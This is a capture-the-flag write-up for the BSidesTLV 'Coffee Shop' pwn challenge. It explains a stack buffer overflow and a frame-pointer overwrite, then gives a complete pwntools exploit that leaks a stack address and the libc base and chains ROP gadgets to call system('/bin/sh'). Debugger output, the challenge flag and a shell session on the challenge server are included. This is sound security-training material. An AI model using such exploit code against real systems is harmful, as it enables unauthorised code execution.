Coffee Shop
- Category: Pwn
Description
Welcome to the coffee shop of the future! With our remote ordering interface, you can purchase ANY coffee beans you desire - no more trips to the local café!
Challenge by Chen Gruber
Solution
The attached binary implements a simple coffee shop interface:
┌──(py_ctf_env)─(user@kali3)-[/media/sf_CTFs/bsides/Coffee_Shop]
└─$ ./coffee_shop
------- Welcome to the coffee store of the future -------
Please place your order and we'll start working on it right away!
What do you want to do?
1. Place an order
2. Remove order
3. Exit
Choice: 1
Which kind of beans do you want?
1. Arabica
2. Jamaica
3. Mocha
4. Robusta
5. Other
Choice: 1
Got it! You want to order Arabica
How many Kg?
10
Your order has been placed! :)
What do you want to do?
1. Place an order
2. Remove order
3. Exit
Choice: 1
Which kind of beans do you want?
1. Arabica
2. Jamaica
3. Mocha
4. Robusta
5. Other
Choice: 5
Ok, so which specific kind do you want?
My custom coffee
Got it! You want to order My custom coffee
How many Kg?
20
Your order has been placed! :)
What do you want to do?
1. Place an order
2. Remove order
3. Exit
Choice: 2
Don't worry, we'll update the cashier.
What do you want to do?
1. Place an order
2. Remove order
3. Exit
Choice: 3
We can order coffee, where the interesting part is ordering a custom coffee type, since we are able to enter both the type of the coffee as a string and the weight of the coffee as a number.
Executable attributes are:
┌──(py_ctf_env)─(user@kali3)-[/media/sf_CTFs/bsides/Coffee_Shop]
└─$ checksec coffee_shop
[*] '/media/sf_CTFs/bsides/Coffee_Shop/coffee_shop'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
Stripped: No
Let’s inspect the source code with Ghidra:
undefined8 main(void)
{
int status;
ulong menu_choice;
char bean_names [5] [8];
char order_buffer [64];
setup();
banner();
// ... order_buffer is zeroed here, removed for clarity...
builtin_strncpy(bean_names[0],"Arabica",8);
builtin_strncpy(bean_names[1],"Jamaica",8);
builtin_strncpy(bean_names[2],"Mocha",6);
bean_names[2][6] = '\0';
bean_names[2][7] = '\0';
builtin_strncpy(bean_names[3],"Robusta",8);
builtin_strncpy(bean_names[4],"Other",6);
bean_names[4][6] = '\0';
bean_names[4][7] = '\0';
do {
while( true ) {
menu();
menu_choice = read_num();
if (menu_choice == 3) {
return 0;
}
if (menu_choice < 4) break;
LAB_00101670:
puts("Invalid choice");
}
if (menu_choice == 1) {
status = add_order(order_buffer,bean_names);
if (status == 0) {
puts("Your order has been placed! :)");
}
else {
puts("Seems like there was an issue with your order... Please try again.");
}
}
else {
if (menu_choice != 2) goto LAB_00101670;
puts("Don\'t worry, we\'ll update the cashier.");
memset(order_buffer,0,0x28);
}
} while( true );
}
undefined8 add_order(void *p_output_buffer,long p_bean_list)
{
undefined8 uVar1;
char kind_buffer [48];
long user_choice;
ulong i;
// ... bytes 0..0x27 of kind_buffer are zeroed here, removed for clarity
puts("Which kind of beans do you want?\n");
for (i = 0; i < 5; i = i + 1) {
printf("%u. %s\n",i + 1,i * 8 + p_bean_list);
}
printf("\nChoice: ");
user_choice = read_num();
if (user_choice == 0) {
puts("Invalid kind of beans.");
uVar1 = 1;
}
else {
if (user_choice == 5) {
puts("Ok, so which specific kind do you want?");
g_kind_len = read(0,kind_buffer,0x40);
}
else {
strcpy(kind_buffer,(char *)((user_choice + -1) * 8 + p_bean_list));
g_kind_len = strlen((char *)(p_bean_list + (user_choice + -1) * 8));
}
if ((long)g_kind_len < 0) {
puts("Error reading beans...");
/* WARNING: Subroutine does not return */
exit(1);
}
printf("Got it! You want to order %s\n",kind_buffer);
ask_quantity(kind_buffer);
memcpy(p_output_buffer,kind_buffer,g_kind_len + 2);
uVar1 = 0;
}
return uVar1;
}
void ask_quantity(long param_1)
{
int ret;
undefined2 u_kg;
puts("How many Kg?");
ret = __isoc99_scanf(&g_read_short_format,&u_kg);
if (ret < 1) {
puts("Error reading Kg...");
/* WARNING: Subroutine does not return */
exit(1);
}
*(undefined2 *)(g_kind_len + param_1) = u_kg;
return;
}
The vulnerability exists in add_order:
char kind_buffer [48];
//...
g_kind_len = read(0,kind_buffer,0x40);
It allows us to read 64 bytes into a buffer of 48 bytes.
Our exploit will include several phases.
Phase 1: Leak RBP
Notice how the coffee type we enter gets printed back to us a bit later on.
If we setup a breakpoint at add_order right before the read and inspect the stack
around &kind_buffer, we get:
pwndbg> telescope $rsi 10
00:0000│ rax rsi 0x7ffdb4f0a6e0 ◂— 0
... ↓ 5 skipped
06:0030│-010 0x7ffdb4f0a710 ◂— 5
07:0038│-008 0x7ffdb4f0a718 ◂— 5
08:0040│ rbp 0x7ffdb4f0a720 —▸ 0x7ffdb4f0a7b0 ◂— 1
09:0048│+008 0x7ffdb4f0a728 —▸ 0x561ab41fe61c (main+235) ◂— test eax, eax
We can see that right after the 0x40 bytes we are able to write, we have rbp, which
contains the stored frame pointer for the previous frame. So, if we fill the buffer with
64 characters, when our order gets printed back, it will print the old rbp and give
us an anchor to different locations on the stack!
We’ll send 'A' * 0x40 and reinspect:
pwndbg> telescope $rsi 10
00:0000│ rsi 0x7ffdb4f0a6e0 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓ 7 skipped
08:0040│ rbp 0x7ffdb4f0a720 —▸ 0x7ffdb4f0a7b0 ◂— 1
09:0048│+008 0x7ffdb4f0a728 —▸ 0x561ab41fe61c (main+235) ◂— test eax, eax
Great, we’ve created a non-NULL sequence of characters up to the old rbp, and when our
order gets printed, we’ll have our anchor.
Phase 2: Leak LibC Base
Now that we have a stack address, we’ll use to to leak the LibC base. Here’s how we’ll do that.
Once we’ve written a coffee type to the kind_buffer, the program sets g_kind_len to the length
of the input we’ve provided (0x40 in our case). It then asks for the weight using this
ask_quantity(kind_buffer), where:
void ask_quantity(long param_1)
{
int ret;
undefined2 u_kg;
puts("How many Kg?");
ret = __isoc99_scanf(&g_read_short_format,&u_kg);
if (ret < 1) {
puts("Error reading Kg...");
/* WARNING: Subroutine does not return */
exit(1);
}
*(undefined2 *)(g_kind_len + param_1) = u_kg;
return;
}
The function itself uses scanf to read a short (2 bytes) into the buffer provided at offset
g_kind_len. In our case, that actually allows us to override the 2 LSBs of the old rbp.
This allows us to control the frame pointer when returning from add_order to main.
How does that help us? Once we’re done with the current order, the main loop allows us to
add a new order. It calls add_order(order_buffer,bean_names) where bean_names is a
variable on the stack, which later is used to print out the different bean names. So,
by controlling the stack, we can point it to a location that contains an address within
LIBC code, which is all that we need in order to deduce the LIBC base offset.
We’ll write a value that points the frame pointer to $old_rbp - 0x898
Before writing:
pwndbg> stack 13
00:0000│ rsp 0x7ffdb4f0a6d0 —▸ 0x7ffdb4f0a730 ◂— 0x61636962617241 /* 'Arabica' */
01:0008│-048 0x7ffdb4f0a6d8 —▸ 0x7ffdb4f0a760 ◂— 0
02:0010│ rax 0x7ffdb4f0a6e0 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓ 7 skipped
0a:0050│ rbp 0x7ffdb4f0a720 —▸ 0x7ffdb4f0a7b0 ◂— 1
0b:0058│+008 0x7ffdb4f0a728 —▸ 0x561ab41fe61c (main+235) ◂— test eax, eax
0c:0060│+010 0x7ffdb4f0a730 ◂— 0x61636962617241 /* 'Arabica' */
... ↓ 2 skipped
After writing:
pwndbg> stack 13
00:0000│ rsp 0x7ffdb4f0a6d0 —▸ 0x7ffdb4f0a730 ◂— 0x61636962617241 /* 'Arabica' */
01:0008│-048 0x7ffdb4f0a6d8 —▸ 0x7ffdb4f0a760 ◂— 0
02:0010│-040 0x7ffdb4f0a6e0 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓ 7 skipped
0a:0050│ rdx rbp 0x7ffdb4f0a720 —▸ 0x7ffdb4f09f18 ◂— 0
0b:0058│+008 0x7ffdb4f0a728 —▸ 0x561ab41fe61c (main+235) ◂— test eax, eax
0c:0060│+010 0x7ffdb4f0a730 ◂— 0x61636962617241 /* 'Arabica' */
So, when the main function calls add_order again and passes the pointer to bean_names
as $rbp - 0x80, it will actually be passing:
pwndbg> telescope 0x7ffdb4f0a7b0-0x898-0x80 10
00:0000│ rdx rsi 0x7ffdb4f09e98 ◂— 0xa /* '\n' */
01:0008│-078 0x7ffdb4f09ea0 ◂— 6
02:0010│-070 0x7ffdb4f09ea8 —▸ 0x7ffdb4f09fd0 —▸ 0x561ab41ff055 ◂— 0x2d2d2d2d0a000000
03:0018│-068 0x7ffdb4f09eb0 ◂— 0xa /* '\n' */
04:0020│-060 0x7ffdb4f09eb8 —▸ 0x7ff7787e9321 ◂— mov rdi, qword ptr [rbp - 0x460]
05:0028│-058 0x7ffdb4f09ec0 —▸ 0x7ffdb4f09f74 ◂— 0xb4f0a4f000007ff7
06:0030│ rax rdi 0x7ffdb4f09ec8 —▸ 0x7ff7789813ba ◂— add rsp, 0x30
07:0038│-048 0x7ffdb4f09ed0 ◂— 0x1e
08:0040│-040 0x7ffdb4f09ed8 —▸ 0x7ff7789788a0 ◂— 0x675f646c74725f00
09:0048│-038 0x7ffdb4f09ee0 —▸ 0x7ff7789aaab0 (_rtld_global+2736) —▸ 0x7ff778978000 ◂— 0x3010102464c457f
The fifth QWORD from this offset is a pointer into vfscanf from LibC, which allows us to calculate LibC base:
libc_base = <value of pointer> - <known offset of pointer in LibC binary> - <LibC code base in binary>
We craft the amount of Kgs to override the old frame pointer to the location of our choice, then proceed to make another order and read the coffee types to get our leak and deduce the LibC base.
Phase 3: ROP
We’re in add_order again, after reading the coffee types and using them to leak the LibC
pointer. We need to enter a custom coffee type again. Once again, we’ll enter the same
payload from before as the name, allowing us to control the old frame pointer again.
But what do we write this time?
Now that we have the LibC base, it’s trivial to create a ROP gadget to call system('/bin/sh).
After constructing it, we will be able to send it as the new coffee type we want to order.
So as a precondition, we’ll want to setup the frame pointer in a way that points the stack
to the location of our ROP exploit.
Before overriding the frame pointer:
pwndbg> stack 13
00:0000│ rsp 0x7ffdb4f0a6d0 —▸ 0x7ffdb4f09e98 ◂— 0xa /* '\n' */
01:0008│-048 0x7ffdb4f0a6d8 —▸ 0x7ffdb4f09ec8 —▸ 0x7ff7789813ba ◂— add rsp, 0x30
02:0010│ rax 0x7ffdb4f0a6e0 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓ 7 skipped
0a:0050│ rbp 0x7ffdb4f0a720 —▸ 0x7ffdb4f09f18 ◂— 0
0b:0058│+008 0x7ffdb4f0a728 —▸ 0x561ab41fe61c (main+235) ◂— test eax, eax
0c:0060│+010 0x7ffdb4f0a730 ◂— 0x61636962617241 /* 'Arabica' */
After overriding it:
pwndbg> stack 13
00:0000│ rsp 0x7ffdb4f0a6d0 —▸ 0x7ffdb4f09e98 ◂— 0xa /* '\n' */
01:0008│-048 0x7ffdb4f0a6d8 —▸ 0x7ffdb4f09ec8 —▸ 0x7ff7789813ba ◂— add rsp, 0x30
02:0010│-040 0x7ffdb4f0a6e0 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓ 7 skipped
0a:0050│ rdx rbp 0x7ffdb4f0a720 —▸ 0x7ffdb4f0a778 ◂— 0x4141414141414141 ('AAAAAAAA')
0b:0058│+008 0x7ffdb4f0a728 —▸ 0x561ab41fe61c (main+235) ◂— test eax, eax
0c:0060│+010 0x7ffdb4f0a730 ◂— 0x61636962617241 /* 'Arabica' */
After setting the frame pointer up, we’re back at the main loop. For the last time, we choose to add a custom order, this time sending our ROP exploit as the name.
We can inspect kind_buffer right after reading the input:
pwndbg> telescope $rbp-0x40
00:0000│ rsi 0x7ffdb4f0a6e0 —▸ 0x7ff7787b35f2 ◂— ret
01:0008│-038 0x7ffdb4f0a6e8 —▸ 0x7ff7787b3c65 (iconv+197) ◂— pop rdi
02:0010│-030 0x7ffdb4f0a6f0 —▸ 0x7ff77892204f ◂— 0x68732f6e69622f /* '/bin/sh' */
03:0018│-028 0x7ffdb4f0a6f8 —▸ 0x7ff7787d8920 (system) ◂— test rdi, rdi
04:0020│-020 0x7ffdb4f0a700 ◂— 0xa /* '\n' */
05:0028│-018 0x7ffdb4f0a708 ◂— 0
06:0030│-010 0x7ffdb4f0a710 ◂— 5
07:0038│-008 0x7ffdb4f0a718 ◂— 5
The quantity doesn’t really matter this time.
The memcpy copies our exploit:
► 0x561ab41fe4cf <add_order+442> call memcpy@plt <memcpy@plt>
dest: 0x7ffdb4f0a728 —▸ 0x561ab41fe61c (main+235) ◂— test eax, eax
src: 0x7ffdb4f0a6e0 —▸ 0x7ff7787b35f2 ◂— ret
n: 0x23
Right before calling leave for add_order, we have:
RBP 0x7ffdb4f0a720 —▸ 0x7ffdb4f0a778 ◂— 0x4141414141414141 ('AAAAAAAA')
RSP 0x7ffdb4f0a6d0 —▸ 0x7ffdb4f0a6f8 —▸ 0x7ff7787d8920 (system) ◂— test rdi, rdi
After the leave:
*RBP 0x7ffdb4f0a778 ◂— 0x4141414141414141 ('AAAAAAAA')
*RSP 0x7ffdb4f0a728 —▸ 0x7ff7787b35f2 ◂— ret
Notice how $rsp is pointing to our exploit!
pwndbg> stack
00:0000│ rdi rsp 0x7ffdb4f0a728 —▸ 0x7ff7787b35f2 ◂— ret
01:0008│-048 0x7ffdb4f0a730 —▸ 0x7ff7787b3c65 (iconv+197) ◂— pop rdi
02:0010│-040 0x7ffdb4f0a738 —▸ 0x7ff77892204f ◂— 0x68732f6e69622f /* '/bin/sh' */
03:0018│-038 0x7ffdb4f0a740 —▸ 0x7ff7787d8920 (system) ◂— test rdi, rdi
Once we continue, the final ret command will pop the address of our exploit from the stack
and start executing our ROP chain, eventually giving us a shell.
Exploit
The full script:
# First, generate a pwntools template via:
# $ pwn template --host 0.cloud.chals.io --port 20538 --libc libc.so.6 coffee_shop
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: PIE enabled
# RUNPATH: b'./'
# Stripped: No
import enum
class Options(enum.Enum):
PLACE_ORDER = 1
REMOVE_ORDER = 2
EXIT = 3
class BeanType(enum.Enum):
ARABICA = 1
JAMAICA = 2
MOCHA = 3
ROBUSTA = 4
OTHER = 5
io = start()
def read_menu():
io.recvuntil(b'Choice: ')
def select_option(option):
read_menu()
io.sendline(str(option.value).encode())
def choose_bean_type(bean_type):
read_menu()
io.sendline(str(bean_type.value).encode())
select_option(Options.PLACE_ORDER)
choose_bean_type(BeanType.OTHER)
io.recvuntil(b'Ok, so which specific kind do you want?\n')
payload = b'A'*0x40
io.sendline(payload)
io.recvuntil(b'Got it! You want to order ')
io.recvuntil(payload)
leaked_rbp = u64(io.recvline(drop = True).ljust(8, b'\x00'))
log.info(f'Leaked RBP: {hex(leaked_rbp)}')
ret_address = leaked_rbp - 0x88
kg_sent = ((leaked_rbp & 0xFFFF) - 0x898)
log.info(f"Setting RBP suffix to: {hex(kg_sent)}")
io.sendline(str(kg_sent).encode('ascii'))
select_option(Options.PLACE_ORDER)
io.recvuntil(b'5. ')
leak_libc_ptr = u64(io.recvline(drop=True).ljust(8, b'\x00'))
log.info(f"Leaked LibC Pointer: {hex(leak_libc_ptr)}")
libc.address = leak_libc_ptr - 0x37321 - libc.get_section_by_name('.plt').header.sh_addr
log.info(f"LibC Base Address: {hex(libc.address)}")
choose_bean_type(BeanType.OTHER)
io.recvuntil(b'Ok, so which specific kind do you want?')
io.sendline(payload)
io.recvuntil(b'How many Kg?')
kg_sent = (ret_address & 0xFFFF) + 0x50
log.info(f"Setting RBP suffix to: {hex(kg_sent)}")
io.sendline(str(kg_sent).encode('ascii'))
rop = ROP(libc)
rop.raw(rop.find_gadget(['ret']).address) # adjust RSP by 8
rop.raw(rop.find_gadget(['pop rdi', 'ret']).address)
rop.raw(next(libc.search(b'/bin/sh')))
rop.raw(libc.symbols['system'])
log.info(f'ROP chain:\n{rop.dump()}')
select_option(Options.PLACE_ORDER)
choose_bean_type(BeanType.OTHER)
io.recvuntil(b'Ok, so which specific kind do you want?')
io.sendline(rop.chain())
io.recvuntil(b'How many Kg?')
io.sendline(b'0')
io.interactive()
Output:
┌──(py_ctf_env)─(user@kali3)-[/media/sf_CTFs/bsides/Coffee_Shop]
└─$ python3 exploit.py
[*] '/media/sf_CTFs/bsides/Coffee_Shop/coffee_shop'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
Stripped: No
[*] '/media/sf_CTFs/bsides/Coffee_Shop/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 0.cloud.chals.io on port 20538: Done
[*] Leaked RBP: 0x7ffe4a9a97f0
[*] Setting RBP suffix to: 0x8f58
[*] Leaked LibC Pointer: 0x7fcbc3fec321
[*] LibC Base Address: 0x7fcbc3f8f000
[*] Setting RBP suffix to: 0x97b8
[*] Loaded 205 cached gadgets for 'libc.so.6'
[*] ROP chain:
0x0000: 0x7fcbc3fb65f2 ret
0x0008: 0x7fcbc3fb6c65 pop rdi; ret
0x0010: 0x7fcbc412504f
0x0018: 0x7fcbc3fdb920 system
[*] Switching to interactive mode
$ ls
coffee_shop
flag.txt
ld-linux-x86-64.so.2
libc.so.6
run.sh
$ cat flag.txt
BSidesTLV2025{1_SEe_U_l1k3_y0ur_C0FFee_5tr0Ng}